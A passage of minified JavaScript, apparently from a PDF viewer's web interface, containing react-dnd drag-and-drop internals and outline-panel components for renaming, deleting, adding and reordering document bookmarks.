0),KA(YA(t),"handleChange",(function(){var e=t.getCurrentState();gA(e,t.state)||t.setState(e)})),t.disposable=new HA,t.receiveProps(e),t.dispose(),t}return t=m,(a=[{key:"getHandlerId",value:function(){return this.handlerId}},{key:"getDecoratedComponentInstance",value:function(){return Object(sA.a)(this.decoratedRef.current,"In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()"),this.decoratedRef.current}},{key:"shouldComponentUpdate",value:function(e,t){return!f(e,this.props)||!gA(t,this.state)}},{key:"componentDidMount",value:function(){this.disposable=new HA,this.currentType=void 0,this.receiveProps(this.props),this.handleChange()}},{key:"componentDidUpdate",value:function(e){f(this.props,e)||(this.receiveProps(this.props),this.handleChange())}},{key:"componentWillUnmount",value:function(){this.dispose()}},{key:"receiveProps",value:function(e){this.handler&&(this.handler.receiveProps(e),this.receiveType(s(e)))}},{key:"receiveType",value:function(e){if(this.handlerMonitor&&this.manager&&this.handlerConnector&&e!==this.currentType){this.currentType=e;var t=zA(i(e,this.handler,this.manager),2),n=t[0],r=t[1];this.handlerId=n,this.handlerMonitor.receiveHandlerId(n),this.handlerConnector.receiveHandlerId(n);var o=this.manager.getMonitor().subscribeToStateChange(this.handleChange,{handlerIds:[n]});this.disposable.setDisposable(new BA(new FA(o),new FA(r)))}}},{key:"dispose",value:function(){this.disposable.dispose(),this.handlerConnector&&this.handlerConnector.receiveHandlerId(null)}},{key:"getCurrentState",value:function(){return this.handlerConnector?u(this.handlerConnector.hooks,this.handlerMonitor,this.props):{}}},{key:"render",value:function(){var e=this;return Object(RA.jsx)(jA.a.Consumer,{children:function(t){var n,r,o=t.dragDropManager;return e.receiveDragDropManager(o),"undefined"!=typeof requestAnimationFrame&&requestAnimationFrame((function(){var t;return null===(t=e.handlerConnector)||void 0===t?void 0:t.reconnect()})),Object(RA.jsx)(d,Object.assign({},e.props,e.getCurrentState(),{ref:(n=d,(r=n)&&r.prototype&&"function"==typeof r.prototype.render||function(e){var t,n=e;return"Symbol(react.forward_ref)"===(null==n||null===(t=n.$$typeof)||void 0===t?void 0:t.toString())}(n)?e.decoratedRef:null)}),void 0)}},void 0)}},{key:"receiveDragDropManager",value:function(e){void 0===this.manager&&(Object(sA.a)(void 0!==e,"Could not find the drag and drop manager in the context of %s. Make sure to render a DndProvider component in your top-level component. Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context",p,p),void 0!==e&&(this.manager=e,this.handlerMonitor=r(e),this.handlerConnector=o(e.getBackend()),this.handler=n(this.handlerMonitor,this.decoratedRef)))}}])&&GA(t.prototype,a),c&&GA(t,c),m}(l.Component);return KA(h,"DecoratedComponent",t),KA(h,"displayName","".concat(a,"(").concat(p,")")),S()(h,t)}function QA(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function JA(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var e_=["canDrop","hover","drop"],t_=function(){function e(t,n,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),JA(this,"props",null),JA(this,"spec",void 0),JA(this,"monitor",void 0),JA(this,"ref",void 0),this.spec=t,this.monitor=n,this.ref=r}var t,n,r;return t=e,(n=[{key:"receiveProps",value:function(e){this.props=e}},{key:"receiveMonitor",value:function(e){this.monitor=e}},{key:"canDrop",value:function(){return!this.spec.canDrop||this.spec.canDrop(this.props,this.monitor)}},{key:"hover",value:function(){this.spec.hover&&this.props&&this.spec.hover(this.props,this.monitor,_A(this.ref))}},{key:"drop",value:function(){if(this.spec.drop)return this.spec.drop(this.props,this.monitor,this.ref.current)}}])&&QA(t.prototype,n),r&&QA(t,r),e}();function n_(e){return Object.keys(e).forEach((function(t){Object(sA.a)(e_.indexOf(t)>-1,'Expected the drop target specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',e_.join(", "),t),Object(sA.a)("function"==typeof e[t],"Expected %s in the drop target specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target",t,t,e[t])})),function(t,n){return new t_(e,t,n)}}function r_(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function o_(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var i_=function(){function e(t){var n=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),o_(this,"hooks",yA({dragSource:function(e,t){n.clearDragSource(),n.dragSourceOptions=t||null,SA(e)?n.dragSourceRef=e:n.dragSourceNode=e,n.reconnectDragSource()},dragPreview:function(e,t){n.clearDragPreview(),n.dragPreviewOptions=t||null,SA(e)?n.dragPreviewRef=e:n.dragPreviewNode=e,n.reconnectDragPreview()}})),o_(this,"handlerId",null),o_(this,"dragSourceRef",null),o_(this,"dragSourceNode",void 0),o_(this,"dragSourceOptionsInternal",null),o_(this,"dragSourceUnsubscribe",void 0),o_(this,"dragPreviewRef",null),o_(this,"dragPreviewNode",void 0),o_(this,"dragPreviewOptionsInternal",null),o_(this,"dragPreviewUnsubscribe",void 0),o_(this,"lastConnectedHandlerId",null),o_(this,"lastConnectedDragSource",null),o_(this,"lastConnectedDragSourceOptions",null),o_(this,"lastConnectedDragPreview",null),o_(this,"lastConnectedDragPreviewOptions",null),o_(this,"backend",void 0),this.backend=t}var t,n,r;return t=e,(n=[{key:"receiveHandlerId",value:function(e){this.handlerId!==e&&(this.handlerId=e,this.reconnect())}},{key:"connectTarget",get:function(){return this.dragSource}},{key:"dragSourceOptions",get:function(){return this.dragSourceOptionsInternal},set:function(e){this.dragSourceOptionsInternal=e}},{key:"dragPreviewOptions",get:function(){return this.dragPreviewOptionsInternal},set:function(e){this.dragPreviewOptionsInternal=e}},{key:"reconnect",value:function(){this.reconnectDragSource(),this.reconnectDragPreview()}},{key:"reconnectDragSource",value:function(){var e=this.dragSource,t=this.didHandlerIdChange()||this.didConnectedDragSourceChange()||this.didDragSourceOptionsChange();t&&this.disconnectDragSource(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragSource=e,this.lastConnectedDragSourceOptions=this.dragSourceOptions,this.dragSourceUnsubscribe=this.backend.connectDragSource(this.handlerId,e,this.dragSourceOptions)):this.lastConnectedDragSource=e)}},{key:"reconnectDragPreview",value:function(){var e=this.dragPreview,t=this.didHandlerIdChange()||this.didConnectedDragPreviewChange()||this.didDragPreviewOptionsChange();t&&this.disconnectDragPreview(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragPreview=e,this.lastConnectedDragPreviewOptions=this.dragPreviewOptions,this.dragPreviewUnsubscribe=this.backend.connectDragPreview(this.handlerId,e,this.dragPreviewOptions)):this.lastConnectedDragPreview=e)}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didConnectedDragSourceChange",value:function(){return this.lastConnectedDragSource!==this.dragSource}},{key:"didConnectedDragPreviewChange",value:function(){return this.lastConnectedDragPreview!==this.dragPreview}},{key:"didDragSourceOptionsChange",value:function(){return!gA(this.lastConnectedDragSourceOptions,this.dragSourceOptions)}},{key:"didDragPreviewOptionsChange",value:function(){return!gA(this.lastConnectedDragPreviewOptions,this.dragPreviewOptions)}},{key:"disconnectDragSource",value:function(){this.dragSourceUnsubscribe&&(this.dragSourceUnsubscribe(),this.dragSourceUnsubscribe=void 0)}},{key:"disconnectDragPreview",value:function(){this.dragPreviewUnsubscribe&&(this.dragPreviewUnsubscribe(),this.dragPreviewUnsubscribe=void 0,this.dragPreviewNode=null,this.dragPreviewRef=null)}},{key:"dragSource",get:function(){return this.dragSourceNode||this.dragSourceRef&&this.dragSourceRef.current}},{key:"dragPreview",get:function(){return this.dragPreviewNode||this.dragPreviewRef&&this.dragPreviewRef.current}},{key:"clearDragSource",value:function(){this.dragSourceNode=null,this.dragSourceRef=null}},{key:"clearDragPreview",value:function(){this.dragPreviewNode=null,this.dragPreviewRef=null}}])&&r_(t.prototype,n),r&&r_(t,r),e}();function a_(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function l_(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var s_=!1,u_=!1,c_=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),l_(this,"internalMonitor",void 0),l_(this,"sourceId",null),this.internalMonitor=t.getMonitor()}var t,n,r;return t=e,(n=[{key:"receiveHandlerId",value:function(e){this.sourceId=e}},{key:"getHandlerId",value:function(){return this.sourceId}},{key:"canDrag",value:function(){Object(sA.a)(!s_,"You may not call monitor.canDrag() inside your canDrag() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return s_=!0,this.internalMonitor.canDragSource(this.sourceId)}finally{s_=!1}}},{key:"isDragging",value:function(){if(!this.sourceId)return!1;Object(sA.a)(!u_,"You may not call monitor.isDragging() inside your isDragging() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return u_=!0,this.internalMonitor.isDraggingSource(this.sourceId)}finally{u_=!1}}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"isDraggingSource",value:function(e){return this.internalMonitor.isDraggingSource(e)}},{key:"isOverTarget",value:function(e,t){return this.internalMonitor.isOverTarget(e,t)}},{key:"getTargetIds",value:function(){return this.internalMonitor.getTargetIds()}},{key:"isSourcePublic",value:function(){return this.internalMonitor.isSourcePublic()}},{key:"getSourceId",value:function(){return this.internalMonitor.getSourceId()}},{key:"subscribeToOffsetChange",value:function(e){return this.internalMonitor.subscribeToOffsetChange(e)}},{key:"canDragSource",value:function(e){return this.internalMonitor.canDragSource(e)}},{key:"canDropOnTarget",value:function(e){return this.internalMonitor.canDropOnTarget(e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&a_(t.prototype,n),r&&a_(t,r),e}();function f_(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function d_(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var p_=["canDrag","beginDrag","isDragging","endDrag"],h_=["beginDrag"],m_=function(){function e(t,n,r){var o=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),d_(this,"props",null),d_(this,"spec",void 0),d_(this,"monitor",void 0),d_(this,"ref",void 0),d_(this,"beginDrag",(function(){if(o.props)return o.spec.beginDrag(o.props,o.monitor,o.ref.current)})),this.spec=t,this.monitor=n,this.ref=r}var t,n,r;return t=e,(n=[{key:"receiveProps",value:function(e){this.props=e}},{key:"canDrag",value:function(){return!!this.props&&(!this.spec.canDrag||this.spec.canDrag(this.props,this.monitor))}},{key:"isDragging",value:function(e,t){return!!this.props&&(this.spec.isDragging?this.spec.isDragging(this.props,this.monitor):t===e.getSourceId())}},{key:"endDrag",value:function(){this.props&&this.spec.endDrag&&this.spec.endDrag(this.props,this.monitor,_A(this.ref))}}])&&f_(t.prototype,n),r&&f_(t,r),e}();function g_(e){return Object.keys(e).forEach((function(t){Object(sA.a)(p_.indexOf(t)>-1,'Expected the drag source specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',p_.join(", "),t),Object(sA.a)("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),h_.forEach((function(t){Object(sA.a)("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),function(t,n){return new m_(e,t,n)}}var v_="outline",y_="onTargetHorizontalMidPoint",b_="aboveTarget",w_="belowTarget",E_="initial";n(995);function S_(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function C_(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return x_(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return x_(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function x_(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var O_={outline:Is.a.object.isRequired,trigger:Is.a.string.isRequired},A_=function(e){var t=e.children,n=e.position,r=document.getElementById("outline-edit-popup-portal");return r.style.position="absolute",r.style.top="auto"===n.top?n.top:"".concat(n.top,"px"),r.style.left="auto"===n.left?n.left:"".concat(n.left,"px"),r.style.right="auto"===n.right?n.right:"".concat(n.right,"px"),r.style.zIndex=999,Object(u.createPortal)(t,r)},__=function(e){var t=e.outline,n=e.trigger,r=e.setIsOpen,o=e.setIsEditingName,i=Object(l.useContext)(ZO),a=i.selectedOutlinePath,u=i.setSelectedOutlinePath,c=i.updateOutlines,f=C_(Ks(),1)[0],d=Object(l.useRef)(null),p=C_(Object(l.useState)({left:-100,right:"auto",top:"auto"}),2),h=p[0],m=p[1];Object(l.useEffect)((function(){var e=vp(n,d);m(e)}),[n]);var g=Object(l.useCallback)((function(e){var t=document.querySelector('[data-element="'.concat(n,'"]'));(null==t?void 0:t.contains(e.target))||r(!1)}),[r,n]);yp(d,g);var v=function(){var e,n=(e=regeneratorRuntime.mark((function e(){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=nA.getPath(t),e.next=3,nA.deleteOutline(n);case 3:c(),n===a&&u(null);case 5:case"end":return e.stop()}}),e)})),function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){S_(i,r,o,a,l,"next",e)}function l(e){S_(i,r,o,a,l,"throw",e)}a(void 0)}))});return function(){return n.apply(this,arguments)}}();return s.a.createElement(A_,{position:h},s.a.createElement(Uf,{ref:d,className:"OutlineEditPopup",dataElement:"outlineEditPopup"},s.a.createElement(rd,{dataElement:"renameOutlineButton",img:"icon-header-annotation-fill",label:f("action.rename"),ariaLabel:f("action.rename"),role:"option",onClick:function(){o(!0)}}),s.a.createElement(rd,{dataElement:"deleteOutlineButton",img:"icon-delete-line",label:f("action.delete"),ariaLabel:f("action.delete"),role:"option",onClick:v})))};__.propTypes=O_;var T_=__,k_=(n(996),["className","defaultValue","onEnter","onEscape"]);function P_(){return(P_=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function M_(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function R_(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var j_=function(e){var t=e.className,n=e.defaultValue,r=e.onEnter,o=e.onEscape,i=R_(e,k_),a=Object(l.useRef)();Object(l.useEffect)((function(){a.current.focus(),a.current.select()}),[]);return s.a.createElement("input",P_({className:js()(M_({OutlineTextInput:!0},t,!!t)),ref:a,type:"text",defaultValue:n,onKeyDown:function(e){"Enter"===e.key&&r&&r(e),"Escape"===e.key&&o&&o(e)}},i))};n(997);function L_(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function I_(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){L_(i,r,o,a,l,"next",e)}function l(e){L_(i,r,o,a,l,"throw",e)}a(void 0)}))}}function N_(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return D_(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return D_(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function D_(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var F_={outline:Is.a.object.isRequired,moveOutlineInward:Is.a.func.isRequired,moveOutlineBeforeTarget:Is.a.func.isRequired,moveOutlineAfterTarget:Is.a.func.isRequired,connectDragSource:Is.a.func,connectDropTarget:Is.a.func,isDragging:Is.a.bool,isDraggedUpwards:Is.a.bool,isDraggedDownwards:Is.a.bool,outlineEditingEnabled:Is.a.bool},B_=Object(l.forwardRef)((function(e,t){var n=e.outline,r=e.isDragging,o=e.isDraggedUpwards,i=e.isDraggedDownwards,a=e.outlineEditingEnabled,u=e.connectDragSource,c=e.connectDropTarget,f=e.moveOutlineInward,d=e.moveOutlineBeforeTarget,p=e.moveOutlineAfterTarget,h=le((function(e){return fi.getOutlines(e)})),m=Object(l.useContext)(ZO),g=m.setSelectedOutlinePath,v=m.isOutlineSelected,y=m.selectedOutlinePath,b=m.setIsAddingNewOutline,w=m.isAddingNewOutline,E=m.updateOutlines,S=m.addNewOutline,C=N_(Object(l.useState)(!1),2),x=C[0],O=C[1],A=N_(Object(l.useState)(!1),2),_=A[0],T=A[1],k=N_(Object(l.useState)(!1),2),P=k[0],M=k[1],R=re(),j=N_(Ks(),1)[0],L=Object(l.useRef)(null);u(L),c(L);var I=r?0:1;Object(l.useImperativeHandle)(t,(function(){return{getNode:function(){return L.current}}})),Object(l.useEffect)((function(){var e=nA.getPath(n);null!==y&&y!==e&&y.startsWith(e)&&O(!0)}),[y,w,n]),Object(l.useLayoutEffect)((function(){T(!1)}),[h]);var N=Object(l.useCallback)((function(){O((function(e){return!e}))}),[]),D=Object(l.useCallback)((function(e){"Enter"===e.key&&N()})),F=Object(l.useCallback)((function(){vt.goToOutline(n),g(nA.getPath(n)),Ot()&&R(Ps.closeElement("leftPanel"))}),[R,g,n]);function B(e){return H.apply(this,arguments)}function H(){return(H=I_(regeneratorRuntime.mark((function e(t){var r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if((r=t.target.value)&&n.getName()!==r){e.next=4;break}return T(!1),e.abrupt("return");case 4:return e.next=6,nA.setOutlineName(nA.getPath(n),r);case 6:E();case 7:case"end":return e.stop()}}),e)})))).apply(this,arguments)}var V=v(n);return s.a.createElement("div",{className:"Outline",style:{opacity:I}},s.a.createElement("div",{className:"padding"},n.getChildren().length>0&&s.a.createElement("div",{className:js()({arrow:!0,expanded:x}),tabIndex:0,onClick:N,onKeyPress:D},s.a.createElement(cf,{glyph:"ic_chevron_right_black_24px"}))),s.a.createElement("div",{className:js()({content:!0,editable:vt.isFullPDFEnabled()&&a})},o&&s.a.createElement("div",{style:{borderTop:"1px solid #bbb"}}),_?s.a.createElement(j_,{defaultValue:n.getName(),onEscape:function(){return T(!1)},onEnter:B,onBlur:B}):s.a.createElement("div",{className:js()({row:!0,selected:V,hover:P&&!V}),ref:L,onKeyPress:function(e){"Enter"===e.key&&F()},tabIndex:0},s.a.createElement(bf,{className:"contentButton",onDoubleClick:function(){vt.isFullPDFEnabled()&&a&&T(!0)},label:n.getName(),useI18String:!1,onClick:F,tabIndex:-1}),s.a.createElement(H_,{outline:n,setIsEditingName:T,onPopupOpen:function(){return M(!0)},onPopupClose:function(){return M(!1)}})),i&&s.a.createElement("div",{style:{borderTop:"1px solid #bbb"}}),x&&n.getChildren().map((function(e){return s.a.createElement(V_,{outline:e,key:nA.getOutlineId(e),moveOutlineInward:f,moveOutlineBeforeTarget:d,moveOutlineAfterTarget:p})})),w&&V&&s.a.createElement(j_,{defaultValue:j("message.untitled"),onEscape:function(){return b(!1)},onEnter:S,onBlur:S})))}));function H_(e){var t=e.outline,n=e.setIsEditingName,r=e.onPopupOpen,o=e.onPopupClose,i=N_(Object(l.useState)(!1),2),a=i[0],u=i[1];Object(l.useEffect)((function(){a?r():o()}),[a,r,o]);var c="edit-button-".concat(nA.getPath(t));return s.a.createElement(Uf,{className:"editOutlineButton",dataElement:"editOutlineButton"},s.a.createElement(bf,{dataElement:c,img:"icon-tool-more",onClick:function(){u((function(e){return!e}))},tabIndex:-1}),a&&s.a.createElement(T_,{outline:t,trigger:c,setIsOpen:u,setIsEditingName:n}))}B_.propTypes=F_,H_.propTypes={outline:Is.a.object.isRequired,setIsEditingName:Is.a.func.isRequired,onPopupOpen:Is.a.func.isRequired,onPopupClose:Is.a.func.isRequired};var V_=function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(Object(sA.a)(MA(e,!0),'Expected "type" provided as the first argument to DropTarget to be a string, an array of strings, or a function that returns either given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',e),o=function(){return e}),Object(sA.a)(PA(t),'Expected "spec" provided as the second argument to DropTarget to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',t);var i=n_(t);return Object(sA.a)("function"==typeof n,'Expected "collect" provided as the third argument to DropTarget to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',n),Object(sA.a)(PA(r),'Expected "options" provided as the fourth argument to DropTarget to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',n),function(e){return XA({containerDisplayName:"DropTarget",createHandler:i,registerHandler:uA,createMonitor:function(e){return new hA(e)},createConnector:function(e){return new OA(e)},DecoratedComponent:e,getType:o,collect:n,options:r})}}(v_,{hover:function(e,t,n){if(!n)return null;if(null!==t.getItem()){var r=n.getNode();if(!r)return null;t.getItem().node=r;var o=t.getItem().outline.index,i=e.outline.index;if(t.getItem().outline.parent!==e.outline.parent||o!==i){var a=r.getBoundingClientRect(),l=(a.bottom-a.top)/2,s=t.getClientOffset().y-a.top;switch(!0){case s<=l+2&&s>=l-2:t.getItem().dropLocation=y_,r.style.backgroundColor="#bbb",setTimeout((function(){var e;(null===(e=t.getItem())||void 0===e?void 0:e.node)!==r&&(r.style.backgroundColor="transparent")}),100);break;case s>l+2:t.getItem().dropLocation=w_,r.style.backgroundColor="transparent";break;case s<l-2:t.getItem().dropLocation=b_,r.style.backgroundColor="transparent";break;default:t.getItem().dropLocation=E_,r.style.backgroundColor="transparent"}zt(Ht.DRAG_OUTLINE,{targetOutline:e.outline,draggedOutline:t.getItem().outline,dropLocation:t.getItem().dropLocation})}}},drop:function(e,t,n){if(!n)return null;var r=e.outline,o=e.moveOutlineInward,i=e.moveOutlineBeforeTarget,a=e.moveOutlineAfterTarget;switch(t.getItem().dropLocation){case y_:o(t.getItem().outline,r);break;case b_:i(t.getItem().outline,r);break;case w_:a(t.getItem().outline,r)}t.getItem().node.style.backgroundColor="transparent",zt(Ht.DROP_OUTLINE,{targetOutline:r,draggedOutline:t.getItem().outline,dropLocation:t.getItem().dropLocation}),t.getItem().dropLocation=E_}},(function(e,t){var n,r;return{connectDropTarget:e.dropTarget(),isDraggedUpwards:t.isOver({shallow:!0})&&(null===(n=t.getItem())||void 0===n?void 0:n.dropLocation)===b_,isDraggedDownwards:t.isOver({shallow:!0})&&(null===(r=t.getItem())||void 0===r?void 0:r.dropLocation)===w_}}))(function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(Object(sA.a)(MA(e),'Expected "type" provided as the first argument to DragSource to be a string, or a function that returns a string given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',e),o=function(){return e}),Object(sA.a)(PA(t),'Expected "spec" provided as the second argument to DragSource to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',t);var i=g_(t);return Object(sA.a)("function"==typeof n,'Expected "collect" provided as the third argument to DragSource to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',n),Object(sA.a)(PA(r),'Expected "options" provided as the fourth argument to DragSource to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',n),function(e){return XA({containerDisplayName:"DragSource",createHandler:i,registerHandler:cA,createConnector:function(e){return new i_(e)},createMonitor:function(e){return new c_(e)},DecoratedComponent:e,getType:o,collect:n,options:r})}}(v_,{beginDrag:function(e){return{id:e.id,outline:e.outline,dropLocation:E_}},canDrag:function(e){return vt.isFullPDFEnabled()||kt?kt?console.warn("Drag and drop outlines for IE11 is not supported"):e.outlineEditingEnabled||console.warn("Drag and drop outlines disabled"):console.warn("Full API must be enabled to drag and drop outlines"),vt.isFullPDFEnabled()&&!kt&&e.outlineEditingEnabled}},(function(e,t){return{connectDragSource:e.dragSource(),isDragging:t.isDragging()}}))(B_)),z_=V_;n(281),n(999);function U_(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function G_(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return W_(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return W_(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function W_(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function q_(){var e=le((function(e){return fi.isElementDisabled(e,Yh.OUTLINE_PANEL)})),t=le((function(e){return fi.getOutlines(e)})),n=le((function(e){return fi.isOutlineControlVisible(e)})),r=le((function(e){return fi.getIsOutlineEditing(e)})),o=G_(Object(l.useState)(null),2),i=o[0],a=o[1],u=G_(Object(l.useState)(!1),2),c=u[0],f=u[1],d=G_(Object(l.useState)(!1),2),p=d[0],h=(d[1],G_(Ks(),1)[0]),m=re(),g=Object(l.useRef)(null);Object(l.useLayoutEffect)((function(){f(!1),null!==g.current&&(a(g.current),g.current=null)}),[t]);var v=function(){var e,n=(e=regeneratorRuntime.mark((function e(n){var r,o,a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r=n.target.value){e.next=4;break}return f(!1),e.abrupt("return");case 4:if(o=vt.getCurrentPage(),0!==t.length){e.next=11;break}return e.next=8,nA.addRootOutline(r,o);case 8:a=e.sent,e.next=14;break;case 11:return e.next=13,nA.addNewOutline(r,i,o);case 13:a=e.sent;case 